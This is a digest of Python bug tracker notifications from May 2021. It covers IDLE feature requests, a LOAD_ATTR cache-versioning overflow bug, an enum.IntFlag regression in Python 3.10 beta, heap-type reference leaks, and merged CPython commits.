(Lib) messages: 394429 nosy: oxalica priority: normal severity: normal status: open title: Use platform defined data directories instead of ~/.python_history type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 07:30:14 2021 From: report at bugs.python.org (Tal Einat) Date: Wed, 26 May 2021 11:30:14 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1622028614.23.0.940658690408.issue37903@roundup.psfhosted.org> Tal Einat added the comment: > Other bug reports and feature requests that matter to us don't appear to be getting any traction: I'll start going through those, and see if I can fix some of the bugs on that list. A few notes: > Need an option to run the install-certificates script Are you suggesting that we add a way to do this directly from IDLE? > Sometimes the Search Dialog window becomes unresponsive and there is no way to clear it without turning IDLE off. Is there an open issue about this? Details would be helpful. > Several of these issues have only came-up in the past few years. IDLE used to be more stable than it is now. This may be true, and at least partially due to a continuous need to fix things broken by various OS and Tcl/Tk changes. > For mac users who have enabled tabs system-wide, opening a new window in IDLE triggers a system log-out (amazing that this is even possible). My understanding is there isn't anything we can do about this, but it is a really bad out-of-the-box user experience seconds after a fresh install of Python. This is a prime example of the above: macOS changes + Tcl/Tk issues with those mean we are often very limited in our ability to properly address such issues. FWIW we added a warning in the IDLE shell about running with that OS option enabled, see bpo-34864 and PR GH-10464. I wasn't aware of such crashes; is there an issue about them? > Being able to run pip from within IDLE would be a major win, especially for Windows users who are foreign to the command-line and who often do have Python on the PATH. I agree! This needs to be properly designed and would be far from trivial to implement and test. If an issue about this exists or would be created, I'd be happy to help move it forward. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 07:39:53 2021 From: report at bugs.python.org (Roundup Robot) Date: Wed, 26 May 2021 11:39:53 +0000 Subject: [issue44239] Use platform defined data directories instead of ~/.python_history In-Reply-To: <1622026723.74.0.652330213731.issue44239@roundup.psfhosted.org> Message-ID: <1622029193.88.0.399938002733.issue44239@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 1.0 -> 2.0 pull_requests: +24969 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26377 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 08:48:31 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Wed, 26 May 2021 12:48:31 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1622033311.23.0.0415849828002.issue37596@roundup.psfhosted.org> Filipe La?ns added the comment: Ah, my bad! Though, thinking about it, it does make sense. If that's the case, then the argument Raymond provided against preserving order does not seem that relevant, as we would only need to preserve the order in the creation operation. What do you think? Is there anything I may be missing here? :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 09:05:23 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 26 May 2021 13:05:23 +0000 Subject: [issue44235] Remove l*gettext() and related functions in the gettext module In-Reply-To: <1621953507.1.0.183782210575.issue44235@roundup.psfhosted.org> Message-ID: <1622034323.86.0.672037386045.issue44235@roundup.psfhosted.org> Change by Dong-hee Na : ---------- keywords: +patch pull_requests: +24970 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26378 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 09:26:55 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 13:26:55 +0000 Subject: [issue37555] _CallList.__contains__ doesn't always respect ANY. In-Reply-To: <1562821924.84.0.134272462767.issue37555@roundup.psfhosted.org> Message-ID: <1622035615.13.0.337993228.issue37555@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 09:28:13 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 13:28:13 +0000 Subject: [issue41830] "NameError: name 'AttributeError' is not defined" In-Reply-To: <1600761126.36.0.940081595242.issue41830@roundup.psfhosted.org> Message-ID: <1622035693.41.0.503963897526.issue41830@roundup.psfhosted.org> Irit Katriel added the comment: Sanka, please create a new issue if you can provide more info about the problem. ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 09:30:04 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 13:30:04 +0000 Subject: [issue21251] Standard library trace module crashes with exception In-Reply-To: <1397652137.22.0.406999160837.issue21251@psf.upfronthosting.co.za> Message-ID: <1622035804.75.0.999550862631.issue21251@roundup.psfhosted.org> Irit Katriel added the comment: Martin, please create a new issue if this is still a problem in Python 3. ---------- resolution: -> out of date stage: needs patch -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 09:34:27 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 13:34:27 +0000 Subject: [issue27521] Misleading compress level header on files created with gzip In-Reply-To: <1468603610.22.0.92461778532.issue27521@psf.upfronthosting.co.za> Message-ID: <1622036067.31.0.10044492662.issue27521@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: test needed -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:00:20 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 14:00:20 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1622037620.47.0.667555430075.issue44031@roundup.psfhosted.org> STINNER Victor added the comment: Ah, I can reproduce the issue if the Python directory contains ????????, like: /home/vstinner/Downloads/????????/Python-3.9.5 ---------- title: python3.8.9, python3.9.2 test_embed test_tabnanny failed -> test_embed and test_tabnanny fails if the current directory is non-ASCII _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:13:23 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 14:13:23 +0000 Subject: [issue41147] Document that redirect_std{out, err} yield the new stream as the context variable In-Reply-To: <1593347254.67.0.116081162021.issue41147@roundup.psfhosted.org> Message-ID: <1622038403.89.0.935624894791.issue41147@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24971 pull_request: https://github.com/python/cpython/pull/26379 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:13:18 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 14:13:18 +0000 Subject: [issue41147] Document that redirect_std{out, err} yield the new stream as the context variable In-Reply-To: <1593347254.67.0.116081162021.issue41147@roundup.psfhosted.org> Message-ID: <1622038398.95.0.865958766602.issue41147@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 46db39d7bd67fb9fea133cd4f18cdf7eacb0f6d9 by Peter Law in branch 'main': bpo-41147: [doc] contextlib.redirect_stdout() provides the new stream as context var (GH-21199) https://github.com/python/cpython/commit/46db39d7bd67fb9fea133cd4f18cdf7eacb0f6d9 ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:13:28 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 14:13:28 +0000 Subject: [issue41147] Document that redirect_std{out, err} yield the new stream as the context variable In-Reply-To: <1593347254.67.0.116081162021.issue41147@roundup.psfhosted.org> Message-ID: <1622038408.59.0.703845130422.issue41147@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24972 pull_request: https://github.com/python/cpython/pull/26380 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:15:35 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 14:15:35 +0000 Subject: [issue43988] Add test.support.assert_dissallow_instantiation In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622038535.23.0.502874928937.issue43988@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 4f725261c6cf23d259e8fdc205e12b76ef4d2d31 by Erlend Egeberg Aasland in branch 'main': bpo-43988: Add test.support.check_disallow_instantiation() (GH-25757) https://github.com/python/cpython/commit/4f725261c6cf23d259e8fdc205e12b76ef4d2d31 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:25:57 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 14:25:57 +0000 Subject: [issue41147] Document that redirect_std{out, err} yield the new stream as the context variable In-Reply-To: <1593347254.67.0.116081162021.issue41147@roundup.psfhosted.org> Message-ID: <1622039157.49.0.689266043736.issue41147@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:34:30 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 14:34:30 +0000 Subject: [issue41147] Document that redirect_std{out, err} yield the new stream as the context variable In-Reply-To: <1593347254.67.0.116081162021.issue41147@roundup.psfhosted.org> Message-ID: <1622039670.39.0.98426398535.issue41147@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 1261941e02cd04829592b1b1360b4ec21bfcdb9a by Miss Islington (bot) in branch '3.10': bpo-41147: [doc] contextlib.redirect_stdout() provides the new stream as context var (GH-21199) (GH-26379) https://github.com/python/cpython/commit/1261941e02cd04829592b1b1360b4ec21bfcdb9a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:40:23 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 14:40:23 +0000 Subject: [issue43879] Add native_thread_id to PyThreadState In-Reply-To: <1618651124.52.0.543120021636.issue43879@roundup.psfhosted.org> Message-ID: <1622040023.0.0.357734742039.issue43879@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 90a6c07cb20114dda801f027a90df839225751cb by Gabriele N. Tornetta in branch 'main': bpo-43879: Add native_thread_id field to PyThreadState (GH-25458) https://github.com/python/cpython/commit/90a6c07cb20114dda801f027a90df839225751cb ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:40:40 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 14:40:40 +0000 Subject: [issue43879] Add native_thread_id to PyThreadState In-Reply-To: <1618651124.52.0.543120021636.issue43879@roundup.psfhosted.org> Message-ID: <1622040040.19.0.197021752365.issue43879@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:43:46 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 14:43:46 +0000 Subject: [issue41147] Document that redirect_std{out, err} yield the new stream as the context variable In-Reply-To: <1593347254.67.0.116081162021.issue41147@roundup.psfhosted.org> Message-ID: <1622040226.25.0.20801049582.issue41147@roundup.psfhosted.org> Irit Katriel added the comment: New changeset bee66d3cb98e740f9d8057eb7f503122052ca5d8 by Miss Islington (bot) in branch '3.9': bpo-41147: [doc] contextlib.redirect_stdout() provides the new stream as context var (GH-21199) (GH-26380) https://github.com/python/cpython/commit/bee66d3cb98e740f9d8057eb7f503122052ca5d8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:44:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 May 2021 14:44:48 +0000 Subject: [issue41147] Document that redirect_std{out, err} yield the new stream as the context variable In-Reply-To: <1593347254.67.0.116081162021.issue41147@roundup.psfhosted.org> Message-ID: <1622040288.59.0.640696763028.issue41147@roundup.psfhosted.org> Irit Katriel added the comment: Thank you Peter! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 10:53:38 2021 From: report at bugs.python.org (Ronald Oussoren) Date: Wed, 26 May 2021 14:53:38 +0000 Subject: [issue44234] Debugging with LLDB doesn't work for universal2 installer on macOS Big Sur In-Reply-To: <1621952450.41.0.860203928612.issue44234@roundup.psfhosted.org> Message-ID: <1622040818.28.0.209313408787.issue44234@roundup.psfhosted.org> Ronald Oussoren added the comment: Should we add documentation about this? The truly annoying bit about that discussion is that its probably easier to just install gdb and use that to debug extensions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 12:03:18 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 May 2021 16:03:18 +0000 Subject: [issue44240] Incorrect behavior of LOAD_ATTR due to overflow in tp_version Message-ID: <1622044998.68.0.9376140973.issue44240@roundup.psfhosted.org> New submission from Mark Shannon : Should the tp_version overflow, and wrap around to a value previously used in the opcache for LOAD_ATTR, then LOAD_ATTR could produce the wrong value. It will take a fair bit of contrivance and a long time to do this, but it is possible: Run some code ~2000 times to get the version cached. Change an attibute of the type about 4 billion times. Rerun the original code. Invalidating all the opcaches is going to be a huge pain, so I propose not allowing the version to overflow but partitioning the 32 bit space something like this: Top 20 bits: Unique per-class ID, 0 and 0xFFFFF are reserved. Low 12 bits: Per-class version. tp_version == 0 that no version has been assigned to this class, as yet. (tp_version & 0xFFF) == 0 means that the version tag is temporarily invalid tp_version == 0xFFFFFFFF means that the version tag is permanently invalid If (tp_version & 0xFFF) != 0 and tp_version != 0xFFFFFFFF, then the combined 32 bits represents a unique tag of the class's state as it does now. Should the low bits of a class hit 0xFFF then all 32 bits are set to 0xFFFFFFFF, and we can't cache its version any more. If a class has been changed a 1000 times, then there is unlikely to be much value in caching it anyway. ---------- components: Interpreter Core messages: 394442 nosy: Mark.Shannon, pablogsal priority: normal severity: normal stage: needs patch status: open title: Incorrect behavior of LOAD_ATTR due to overflow in tp_version type: behavior versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 12:03:19 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 May 2021 16:03:19 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622044999.34.0.0837367984916.issue42972@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj nosy_count: 8.0 -> 9.0 pull_requests: +24973 pull_request: https://github.com/python/cpython/pull/26381 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 12:19:29 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 May 2021 16:19:29 +0000 Subject: [issue44240] Incorrect behavior of LOAD_ATTR due to overflow in tp_version In-Reply-To: <1622044998.68.0.9376140973.issue44240@roundup.psfhosted.org> Message-ID: <1622045969.08.0.421166796142.issue44240@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: But wait, in the case of an overflow, the values of the tags would be different than the one stored, triggering a cache miss. What I am missing? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 12:20:03 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 May 2021 16:20:03 +0000 Subject: [issue44240] Incorrect behavior of LOAD_ATTR due to overflow in tp_version In-Reply-To: <1622044998.68.0.9376140973.issue44240@roundup.psfhosted.org> Message-ID: <1622046003.47.0.694388790811.issue44240@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Oh, right, it will load and old value from the cache. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 12:21:15 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 May 2021 16:21:15 +0000 Subject: [issue44240] Incorrect behavior of LOAD_ATTR due to overflow in tp_version In-Reply-To: <1622044998.68.0.9376140973.issue44240@roundup.psfhosted.org> Message-ID: <1622046075.03.0.461747952598.issue44240@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I mean, the possibilities are even more remote because not only this needs to overflow but the lookup has to be done at exactly the old value. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 12:36:28 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 May 2021 16:36:28 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622046988.01.0.878707659375.issue42972@roundup.psfhosted.org> Ken Jin added the comment: _winapi is leaky still even with my PR: >>> import sys,gc >>> for _ in range(5): ... print(sys.gettotalrefcount()) ... import _winapi ... del sys.modules['_winapi'] ... del _winapi ... gc.collect() ... 50468 51076 51432 51788 52144 I just noticed this, but _winapi doesn't have a m_traverse/m_clear/m_free in the PyModuleDef eventhough it creates nearly 100 objects in m_slot->Py_mod_exec. I'm not a multi phase init expert, but shouldn't there be a cleanup function or am I confusing something here :( ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 12:48:45 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 May 2021 16:48:45 +0000 Subject: [issue44240] Incorrect behavior of LOAD_ATTR due to overflow in tp_version In-Reply-To: <1622044998.68.0.9376140973.issue44240@roundup.psfhosted.org> Message-ID: <1622047725.39.0.788950326117.issue44240@roundup.psfhosted.org> Mark Shannon added the comment: It is extremely unlikely, I agree. But not impossible. I plan to fix it for 3.11. Once I've done that we can decide if backports are worth it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:08:46 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 May 2021 17:08:46 +0000 Subject: [issue44240] Incorrect behavior of LOAD_ATTR due to overflow in tp_version In-Reply-To: <1622044998.68.0.9376140973.issue44240@roundup.psfhosted.org> Message-ID: <1622048926.2.0.674809783893.issue44240@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I wonder what other stuff can break due to this. I agree we should fix it, but also we need to consider how crazy is the solution because I'm not sure if this justifies a very complex one. As an alternative idea, we could use th max allowed value as an "overflowed" status, which invalidates anything that is using the tag. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:13:17 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 17:13:17 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. Message-ID: <1622049197.13.0.421349179442.issue44241@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- components: Library (Lib) nosy: jaraco priority: normal severity: normal status: open title: Sync importlib_metadata enhancements through 4.1. versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:14:01 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 17:14:01 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. Message-ID: <1622049241.45.0.325287576168.issue44241@roundup.psfhosted.org> New submission from Jason R. Coombs : Importlib_metadata 4.1.0 made some minor tweaks. Let's sync those. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:16:20 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 May 2021 17:16:20 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622049380.64.0.889099507388.issue42972@roundup.psfhosted.org> Ken Jin added the comment: > it creates nearly 100 objects Oops sorry I think I'm wrong. most of those objects may be borrowed refs. Just 1 type object is causing the leak. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:16:46 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 17:16:46 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. In-Reply-To: <1622049241.45.0.325287576168.issue44241@roundup.psfhosted.org> Message-ID: <1622049406.79.0.748963689224.issue44241@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- keywords: +patch pull_requests: +24974 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26382 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:36:11 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 17:36:11 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622050571.24.0.299425987897.issue38693@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- nosy: +jaraco nosy_count: 6.0 -> 7.0 pull_requests: +24975 pull_request: https://github.com/python/cpython/pull/26383 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:40:14 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 17:40:14 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. In-Reply-To: <1622049241.45.0.325287576168.issue44241@roundup.psfhosted.org> Message-ID: <1622050814.85.0.159824975693.issue44241@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24976 pull_request: https://github.com/python/cpython/pull/26384 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:40:13 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 17:40:13 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. In-Reply-To: <1622049241.45.0.325287576168.issue44241@roundup.psfhosted.org> Message-ID: <1622050813.76.0.196514505656.issue44241@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 06ac3a4742228b0230981720060248a7425b2486 by Jason R. Coombs in branch 'main': bpo-44241: Incorporate changes from importlib_metadata 4.1. (#26382) https://github.com/python/cpython/commit/06ac3a4742228b0230981720060248a7425b2486 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 13:49:27 2021 From: report at bugs.python.org (Nils Kattenbeck) Date: Wed, 26 May 2021 17:49:27 +0000 Subject: [issue1717] Get rid of more references to __cmp__ In-Reply-To: <1199205565.64.0.0495465164968.issue1717@psf.upfronthosting.co.za> Message-ID: <1622051367.17.0.80631082602.issue1717@roundup.psfhosted.org> Nils Kattenbeck added the comment: Has there been any resolution regarding `sortTestMethodsUsing`? See https://bugs.python.org/msg77261 I spend a decent time and read the documentation thrice before realizing it received an old-style compare function. Brett's proposal for a new attribute seems like a sane way to do this without breaking backwards compatibility. Or will this continue using an old-style compare function for the foreseeable future? ---------- nosy: +Nils Kattenbeck _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 14:33:44 2021 From: report at bugs.python.org (Ayush Parikh) Date: Wed, 26 May 2021 18:33:44 +0000 Subject: [issue39798] Update and Improve README.AIX In-Reply-To: <1582984117.38.0.490903429644.issue39798@roundup.psfhosted.org> Message-ID: <1622054024.72.0.487795966769.issue39798@roundup.psfhosted.org> Change by Ayush Parikh : ---------- keywords: +patch nosy: +ayush332 nosy_count: 3.0 -> 4.0 pull_requests: +24977 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26385 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 14:46:48 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 26 May 2021 18:46:48 +0000 Subject: [issue12731] python lib re uses obsolete sense of \w in full violation of UTS#18 RL1.2a In-Reply-To: <1313090311.62.0.0473644856742.issue12731@psf.upfronthosting.co.za> Message-ID: <1622054808.46.0.626084341508.issue12731@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- stage: test needed -> needs patch versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 14:49:14 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 18:49:14 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622054954.8.0.346629985833.issue38693@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 7.0 -> 8.0 pull_requests: +24978 pull_request: https://github.com/python/cpython/pull/26386 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 14:49:16 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 18:49:16 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622054956.89.0.550582830989.issue38693@roundup.psfhosted.org> miss-islington added the comment: New changeset e6c815d2e34be5fdf6dbe773f0781691746d2289 by Jason R. Coombs in branch 'main': bpo-38693: importlib.metadata f-strings (GH-26383) https://github.com/python/cpython/commit/e6c815d2e34be5fdf6dbe773f0781691746d2289 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:11:49 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 19:11:49 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622056309.18.0.867964224687.issue38693@roundup.psfhosted.org> miss-islington added the comment: New changeset 78a8428548445b501f5ebd6ff4647d93ffd8efd1 by Miss Islington (bot) in branch '3.10': bpo-38693: importlib.metadata f-strings (GH-26383) https://github.com/python/cpython/commit/78a8428548445b501f5ebd6ff4647d93ffd8efd1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:15:52 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 May 2021 19:15:52 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1622056552.15.0.405493512593.issue43693@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 6cc800d3634fdd002b986c3ffe6a3d5540f311a0 by Eric Snow in branch 'main': bpo-43693: Clean up the PyCodeObject fields. (GH-26364) https://github.com/python/cpython/commit/6cc800d3634fdd002b986c3ffe6a3d5540f311a0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:25:15 2021 From: report at bugs.python.org (Ee W. Durbin III) Date: Wed, 26 May 2021 19:25:15 +0000 Subject: [issue2771] Test issue In-Reply-To: <1210005645.74.0.283923986194.issue2771@psf.upfronthosting.co.za> Message-ID: <1622057115.92.0.173119130246.issue2771@roundup.psfhosted.org> Change by Ee W. Durbin III : ---------- status: closed -> open versions: +Python 3.10 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:27:54 2021 From: report at bugs.python.org (Ee W. Durbin III) Date: Wed, 26 May 2021 19:27:54 +0000 Subject: [issue2771] Test issue In-Reply-To: <1210005645.74.0.283923986194.issue2771@psf.upfronthosting.co.za> Message-ID: <1622057274.48.0.751287677138.issue2771@roundup.psfhosted.org> Change by Ee W. Durbin III : ---------- status: open -> closed versions: +Python 3.9 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:28:36 2021 From: report at bugs.python.org (Ee W. Durbin III) Date: Wed, 26 May 2021 19:28:36 +0000 Subject: [issue2771] Test issue In-Reply-To: <1210005645.74.0.283923986194.issue2771@psf.upfronthosting.co.za> Message-ID: <1622057316.28.0.0867181883976.issue2771@roundup.psfhosted.org> Ee W. Durbin III added the comment: Test IRC ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:31:43 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Wed, 26 May 2021 19:31:43 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError Message-ID: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> New submission from Miro Hron?ok : With the change introduced in https://bugs.python.org/issue38250 https://github.com/python/cpython/commit/7aaeb2a3d682ecba125c33511e4b4796021d2f82 I observe a regression in behavior of enum.IntFlag with missing values. Consider this code (from pyproj): from enum import IntFlag class GeodIntermediateFlag(IntFlag): DEFAULT = 0x0 NPTS_MASK = 0xF NPTS_ROUND = 0x0 NPTS_CEIL = 0x1 NPTS_TRUNC = 0x2 DEL_S_MASK = 0xF0 DEL_S_RECALC = 0x00 DEL_S_NO_RECALC = 0x10 AZIS_MASK = 0xF00 AZIS_DISCARD = 0x000 AZIS_KEEP = 0x100 This is a valid code in Python 3.9, however produces a TypeError in Python 3.10.0b1: Traceback (most recent call last): File "intflag.py", line 3, in class GeodIntermediateFlag(IntFlag): File "/usr/lib64/python3.10/enum.py", line 544, in __new__ raise TypeError( TypeError: invalid Flag 'GeodIntermediateFlag' -- missing values: 4, 8, 32, 64, 128, 512, 1024, 2048 Since I don't see this behavior mentioned in https://docs.python.org/3.10/library/enum.html or https://docs.python.org/3.10/whatsnew/3.10.html or https://docs.python.org/3.10/whatsnew/changelog.html I believe this is a regression. ---------- components: Library (Lib) messages: 394457 nosy: John Belmonte, Manjusaka, ethan.furman, hauntsaninja, hroncok, jbelmonte, veky priority: normal severity: normal status: open title: enum.IntFlag regression: missing values cause TypeError type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:32:15 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Wed, 26 May 2021 19:32:15 +0000 Subject: [issue38250] enum.Flag should be more set-like In-Reply-To: <1569150842.66.0.799345616323.issue38250@roundup.psfhosted.org> Message-ID: <1622057535.31.0.0213931122457.issue38250@roundup.psfhosted.org> Miro Hron?ok added the comment: I've reported https://bugs.python.org/issue44242 because I believe there is a regression in this change. 